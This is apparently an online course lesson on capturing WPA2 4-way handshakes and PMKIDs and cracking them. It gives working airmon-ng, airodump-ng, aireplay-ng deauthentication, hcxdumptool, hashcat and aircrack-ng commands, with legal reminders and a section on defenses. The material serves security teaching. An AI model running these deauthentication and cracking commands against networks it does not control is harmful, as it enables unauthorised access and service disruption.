0Pricing
Cyber Security Academy · Lesson

WPA2 Handshake Capture and Cracking

Capture a 4-way handshake with aircrack-ng and attempt dictionary attacks with Hashcat.

WPA2 Handshake Capture and Cracking is a free Cyber Security Academy lesson on CoddyKit — lesson 2 of 4. You can read the complete lesson below for free — then practise it hands-on in the browser with a built-in code editor and a 24/7 AI tutor. It is part of the Cyber Security Academy learning path, one of 4 lessons in the course, and your progress syncs across the web and the CoddyKit app.

The 4-Way Handshake

When a client connects to a WPA2 network, the 4-way handshake derives the Pairwise Transient Key (PTK) from the PMK (derived from the PSK) and random nonces. Capturing this handshake enables offline password cracking.

Setting Up Monitor Mode

Monitor mode allows the wireless card to capture all frames regardless of destination — necessary for passive handshake capture. Only works with cards supporting monitor mode.

# Check wireless interface
iwconfig

# Enable monitor mode
sudo airmon-ng start wlan0
# Creates: wlan0mon

# Kill interfering processes first:
sudo airmon-ng check kill

Passive Handshake Capture

Airodump-ng captures frames passively. Wait for a client to naturally connect, or force reconnection via deauthentication. Handshake capture shows in the top-right of airodump output.

# Scan for networks
sudo airodump-ng wlan0mon

# Target a specific AP (replace values)
sudo airodump-ng -c 6 \
  --bssid AA:BB:CC:DD:EE:FF \
  -w handshake_capture \
  wlan0mon

# Top right shows: WPA handshake: AA:BB:...

Deauthentication Attack

Sending spoofed deauth frames forces connected clients to disconnect and reconnect, triggering a new handshake capture. This is noisy and detectable, and requires the client to be in range.

# Send deauth frames (authorized labs only)
sudo aireplay-ng -0 5 \
  -a AA:BB:CC:DD:EE:FF \
  -c CC:DD:EE:FF:00:11 \
  wlan0mon

# -0 5 = send 5 deauth frames
# -a = AP MAC
# -c = client MAC (or omit for broadcast)

PMKID Attack: No Client Needed

The PMKID attack (hcxdumptool) captures PMKID from beacon/probe frames without requiring a connected client. Faster to obtain and equally crackable as a full handshake.

# Capture PMKID
hcxdumptool -i wlan0mon --enable_status=1 \
  -o pmkid.pcapng

# Convert for Hashcat
hcxpcapngtool -o hash.hc22000 pmkid.pcapng

# Crack with Hashcat mode 22000
hashcat -m 22000 hash.hc22000 rockyou.txt

Cracking the Handshake with Hashcat

Convert the capture file and attack with Hashcat mode 22000 (WPA2 unified format) or mode 2500 (legacy). Use rockyou.txt plus rules for best results.

# Convert pcap to Hashcat format
hcxpcapngtool -o hash.hc22000 handshake_capture-01.cap

# Crack with dictionary
hashcat -m 22000 hash.hc22000 rockyou.txt

# With rules
hashcat -m 22000 hash.hc22000 rockyou.txt -r best64.rule

# Brute force (short passwords)
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d

Cracking with Aircrack-ng

Aircrack-ng performs CPU-based WPA2 cracking directly from the capture file. Slower than Hashcat GPU cracking but requires no format conversion.

# Crack with aircrack-ng
aircrack-ng -w rockyou.txt handshake_capture-01.cap

# With multiple wordlists:
aircrack-ng -w wordlist1.txt,wordlist2.txt capture-01.cap

Wordlist Strategy

WPA2 password cracking success depends entirely on wordlist quality. Use: rockyou.txt as baseline, hashcat rule sets for mutations, company-specific wordlists (name+year+symbol), and targeted lists from OSINT.

Cracking Time Reality

A 20+ character random WPA2 password is computationally infeasible to crack. Cracking is only practical against short or dictionary-based passwords. This is why password length and randomness matter more than complexity rules.

Defenses

Use WPA3-SAE (immune to offline dictionary attack), or WPA2 with a 20+ character random passphrase, and WPA2-Enterprise with EAP-TLS (certificates instead of passwords).

Legal Reminder

Capturing WPA2 handshakes on networks you do not own is illegal. All techniques here apply only to your own test networks or authorized lab environments (e.g., home lab, dedicated test AP).

Quick Check

What does the PMKID attack improve over standard handshake capture?

Summary: WPA2 Cracking

Capturing a WPA2 handshake (or PMKID) transforms Wi-Fi cracking into an offline dictionary attack. Success depends entirely on password strength — short and dictionary-based passwords fall quickly; long random ones are practically uncrackable. Defend with WPA3-SAE, strong passphrases, and WPA2-Enterprise for corporate networks.

Frequently asked questions

Is the “WPA2 Handshake Capture and Cracking” lesson free?

Yes — the full text of “WPA2 Handshake Capture and Cracking” is free to read here on the web, and the Cyber Security Academy course includes 4 lessons in total. To practise it interactively (a built-in code editor and a 24/7 AI tutor) and unlock the rest of the Cyber Security Academy course, upgrade to CoddyKit PRO.

What will I learn in “WPA2 Handshake Capture and Cracking”?

Capture a 4-way handshake with aircrack-ng and attempt dictionary attacks with Hashcat. You practise Cyber Security Academy with hands-on code you run directly in the browser, and a 24/7 AI tutor answers your questions as you work through the lesson.

Do I need any experience to start Cyber Security Academy?

No prior experience is required. Cyber Security Academy on CoddyKit is structured for beginners through advanced learners; this is — lesson 2 of 4, so you can start here or from the beginning and move at your own pace.

How long does the “WPA2 Handshake Capture and Cracking” lesson take?

Most CoddyKit lessons take about 5–10 minutes. Each one is bite-sized and interactive, so you make steady progress and pick up exactly where you left off across the web and the app.

Can I write and run code in this Cyber Security Academy lesson?

Yes. Every Cyber Security Academy lesson includes a built-in code editor, so you write and run real code right in your browser and get instant AI feedback — no local setup required.

All lessons in this course

  1. 802.11 Security Protocols: WEP, WPA2, WPA3
  2. WPA2 Handshake Capture and Cracking
  3. Evil Twin and Captive Portal Attacks
  4. Enterprise Wi-Fi: EAP and RADIUS
← Back to Cyber Security Academy